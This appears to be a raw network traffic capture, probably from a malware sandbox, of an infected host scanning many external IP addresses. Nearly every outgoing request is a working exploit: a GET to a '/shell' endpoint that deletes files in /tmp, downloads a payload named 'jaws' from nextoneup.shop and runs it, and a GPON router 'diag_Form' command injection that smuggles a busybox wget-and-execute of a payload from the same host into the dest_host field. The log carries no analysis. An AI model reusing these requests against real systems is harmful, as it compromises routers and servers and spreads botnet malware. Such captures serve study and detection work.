Apr 14, 2024 04:00:58.250916958 CEST	532	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 310 Expires: Sun, 14 Apr 2024 02:00:58 GMT Date: Sun, 14 Apr 2024 02:00:58 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 39 65 65 36 36 35 35 66 26 23 34 36 3b 31 37 31 33 30 36 30 30 35 38 26 23 34 36 3b 32 65 37 36 64 36 66 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 39 65 65 36 36 35 35 66 26 23 34 36 3b 31 37 31 33 30 36 30 30 35 38 26 23 34 36 3b 32 65 37 36 64 36 66 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.9ee6655f.1713060058.2e76d6f<P>https://errors.edgesuite.net/9.9ee6655f.1713060058.2e76d6f</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1380	192.168.2.13	42320	18.102.140.68	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:57.934125900 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1381	192.168.2.13	42630	13.33.18.73	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:58.454674959 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:58.666968107 CEST	316	IN	HTTP/1.1 403 Forbidden Server: CloudFront Date: Sun, 14 Apr 2024 02:00:58 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1382	192.168.2.13	52074	147.46.240.199	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:58.540175915 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:59.464240074 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:01.320260048 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:05.128227949 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:12.552222013 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:27.400233030 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1383	192.168.2.13	38648	182.92.126.127	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:58.602963924 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:58.937283039 CEST	306	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sun, 14 Apr 2024 02:00:58 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1384	192.168.2.13	48314	154.194.149.105	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:58.775901079 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:00.424231052 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:02.376246929 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:06.408229113 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:14.344209909 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:29.960236073 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1385	192.168.2.13	33346	193.180.115.13	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:58.798190117 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:59.857063055 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:00.203517914 CEST	260	IN	HTTP/1.1 301 Moved Date: Sun, 14 Apr 2024 02:00:50 GMT location: https://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws X-Content-Type-Options: nosniff Server: Aws Content-Length: 0 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1386	192.168.2.13	53566	159.75.252.47	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:58.809366941 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:59.192305088 CEST	278	IN	HTTP/1.1 303 See Other Content-Type: text/html Location: http://127.0.0.1:80/login.html Set-Cookie: webpy_session_id=ef6402d3a17d4949e731a132db2d2d8b115237e3; Path=/; httponly Transfer-Encoding: chunked Date: Sun, 14 Apr 2024 02:00:59 GMT Server: localhost
Apr 14, 2024 04:00:59.192323923 CEST	17	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Apr 14, 2024 04:00:59.192354918 CEST	109	IN	HTTP/1.1 400 Bad Request Content-Length: 23 Content-Type: text/plain Data Raw: 49 6c 6c 65 67 61 6c 20 65 6e 64 20 6f 66 20 68 65 61 64 65 72 73 2e Data Ascii: Illegal end of headers.

Session ID	Source IP	Source Port	Destination IP	Destination Port
1387	192.168.2.13	44174	46.229.129.131	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:58.842751980 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:59.238811016 CEST	411	IN	HTTP/1.1 404 Not Found Date: Fri, 12 Apr 2024 09:44:28 GMT Server: Webs X-Frame-Options: SAMEORIGIN Cache-Control: no-cache Content-Length: 166 Content-Type: text/html Connection: keep-alive Keep-Alive: timeout=60, max=99 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1388	192.168.2.13	43486	79.225.184.168	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:59.067104101 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1389	192.168.2.13	54842	178.93.55.204	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:59.067131996 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1390	192.168.2.13	34244	118.48.130.63	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:59.067147017 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1391	192.168.2.13	41246	94.228.46.167	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:59.067179918 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1392	192.168.2.13	34824	79.83.15.240	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:59.067198038 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1393	192.168.2.13	51346	79.182.174.114	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:59.067233086 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1394	192.168.2.13	43456	212.225.120.108	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:59.067241907 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1395	192.168.2.13	52012	202.250.8.198	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:59.067253113 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1396	192.168.2.13	59884	208.186.235.80	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:59.357158899 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:00.392275095 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:01.608374119 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:04.104304075 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:08.968266964 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:18.696331978 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:38.408169031 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1397	192.168.2.13	53586	159.75.252.47	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:59.496140957 CEST	109	IN	HTTP/1.1 400 Bad Request Content-Length: 23 Content-Type: text/plain Data Raw: 49 6c 6c 65 67 61 6c 20 65 6e 64 20 6f 66 20 68 65 61 64 65 72 73 2e Data Ascii: Illegal end of headers.

Session ID	Source IP	Source Port	Destination IP	Destination Port
1398	192.168.2.13	59378	38.207.22.210	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:59.677818060 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:01.352241993 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:03.304235935 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:07.176381111 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:15.112202883 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:30.728205919 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1399	192.168.2.13	59714	106.75.71.194	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:59.692516088 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:00.047534943 CEST	344	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 14 Apr 2024 02:00:59 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Location: https://leanapp.cn Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

